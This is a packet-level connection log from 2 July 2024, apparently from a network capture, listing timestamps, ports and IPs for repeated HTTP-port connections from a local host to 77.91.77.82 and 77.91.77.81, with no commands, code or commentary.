Jul 2, 2024 15:27:09.434777021 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.439857960 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.656748056 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.656805038 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.766688108 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.767045975 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.771821976 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.771905899 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.772102118 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.772715092 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:09.772775888 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:09.776854038 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.455358028 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.455529928 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.460768938 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.466356993 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.676903009 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.677017927 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.791203976 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.791524887 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.796453953 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.796535015 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.796540022 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:10.796585083 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.801851034 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:10.806660891 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.482330084 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.483900070 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.488676071 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.493478060 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.717142105 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.717322111 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.829195023 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.829571962 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.834418058 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.834487915 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.834849119 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:11.834912062 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.835032940 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:11.840004921 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.561218977 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.561305046 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.561964035 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.568023920 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.790927887 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.791009903 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.907417059 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.907808065 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.912914038 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.913036108 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.913269043 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.914969921 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:12.915039062 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:12.918286085 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:13.678111076 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:13.678281069 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:13.680090904 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:13.684849977 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:13.904510975 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:13.904623985 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.021173954 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.021532059 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.030833960 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.030849934 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.030915976 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.030976057 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.031147003 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.035948992 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.726788998 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.726900101 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.727755070 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:14.732496023 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.944197893 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:14.944272041 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.048338890 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.048675060 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.053487062 CEST	80	49789	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:15.053520918 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:15.053565979 CEST	49789	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.053611994 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.053747892 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.058444977 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:15.773763895 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:15.773909092 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.774780035 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:15.780836105 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.144092083 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.144164085 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.251338005 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.251573086 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.257070065 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.257179022 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.257320881 CEST	80	49790	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.257376909 CEST	49790	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.257499933 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.264688015 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.972836018 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.972990990 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.977852106 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:16.982817888 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:16.995078087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:27:16.995150089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:27:17.205859900 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:17.205926895 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.313676119 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.314023972 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.318831921 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:17.318917036 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.319053888 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.319055080 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:17.319108009 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:17.323857069 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.024930954 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.025137901 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.026128054 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.033516884 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.248382092 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.248528004 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.361483097 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.361848116 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.367013931 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.367091894 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.367204905 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.367486000 CEST	80	49792	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:18.367618084 CEST	49792	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:18.372031927 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.076072931 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.076205969 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.079380989 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.086002111 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.299127102 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.299221992 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.408094883 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.408507109 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.413136959 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.413230896 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:19.413249969 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.413305044 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.413415909 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:19.418123007 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.121750116 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.121838093 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.123229027 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.128293991 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.346038103 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.346096039 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.457978964 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.459033012 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.463335037 CEST	80	49794	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.463396072 CEST	49794	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.463881016 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:20.463954926 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.464804888 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:20.469553947 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.200622082 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.203754902 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.205049992 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.209820032 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.440340042 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.443538904 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.547981024 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.548408985 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.553282022 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.553421974 CEST	80	49795	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:21.553499937 CEST	49795	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.553515911 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.553674936 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:21.558418036 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.274935961 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.275012016 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.275769949 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.280535936 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.508058071 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.508145094 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.612889051 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.613193035 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.618102074 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.618175030 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:22.618230104 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.618267059 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.618685961 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:22.624047995 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:23.315977097 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:23.316037893 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.322499990 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.323381901 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.327759981 CEST	80	49797	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:23.327809095 CEST	49797	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.328100920 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:23.328159094 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.329355001 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:23.329896927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:27:23.334145069 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:23.334716082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:27:24.076554060 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:24.076627970 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.278928995 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.279488087 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.284548044 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:24.284621954 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.284872055 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:24.284981012 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.285504103 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.291202068 CEST	80	49799	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:24.298345089 CEST	49799	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.301151037 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.305962086 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:24.306037903 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.306165934 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:24.310859919 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.009819984 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.009905100 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.128808022 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.129174948 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.134412050 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.134440899 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.134470940 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.134524107 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.134759903 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.139478922 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.840528011 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.840584993 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.843969107 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.844352007 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.849550009 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.849639893 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.849714041 CEST	80	49801	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:25.849800110 CEST	49801	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.849900961 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:25.854604006 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:26.561256886 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:26.561356068 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.676111937 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.676444054 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.684993029 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:26.685089111 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.685451984 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.688330889 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:26.688419104 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:26.690175056 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:27.398137093 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:27.398228884 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.401957035 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.402302027 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.407150030 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:27.407334089 CEST	80	49803	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:27.407417059 CEST	49803	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.407608986 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.407608986 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:27.412471056 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:28.118834019 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:28.118906021 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.224561930 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.224968910 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.229935884 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:28.229964018 CEST	80	49804	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:28.230005980 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.230037928 CEST	49804	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.230439901 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:28.235625982 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.693264008 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.693362951 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:29.693412066 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.693454027 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:29.693690062 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.693737030 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:29.702495098 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:29.707684040 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.925683975 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:29.925750971 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.043019056 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.043514013 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.048278093 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.048343897 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.048398018 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.048438072 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.072000980 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.076874018 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.737662077 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.739077091 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.744975090 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.745452881 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.750451088 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.750498056 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:30.750544071 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.750576019 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.751146078 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:30.756001949 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:31.467688084 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:31.467895031 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.581676960 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.582003117 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.586821079 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:31.586886883 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.586971045 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:31.587019920 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.587156057 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:31.591958046 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:32.357739925 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:32.357820988 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.362065077 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.362610102 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.367714882 CEST	80	49808	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:32.367767096 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:32.367819071 CEST	49808	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.367909908 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.368119955 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:32.373648882 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.099311113 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.099385023 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.206818104 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.207287073 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.212196112 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.212266922 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.213577032 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.213649988 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.213905096 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.218664885 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.940943003 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.941044092 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.944386959 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.944839954 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.949662924 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.950021029 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:33.950090885 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.950108051 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.950345039 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:33.955108881 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:34.660538912 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 2, 2024 15:27:34.660604954 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.769934893 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.770322084 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:27:34.776631117 CEST	80	49812	77.91.77.82	192.168.2.4
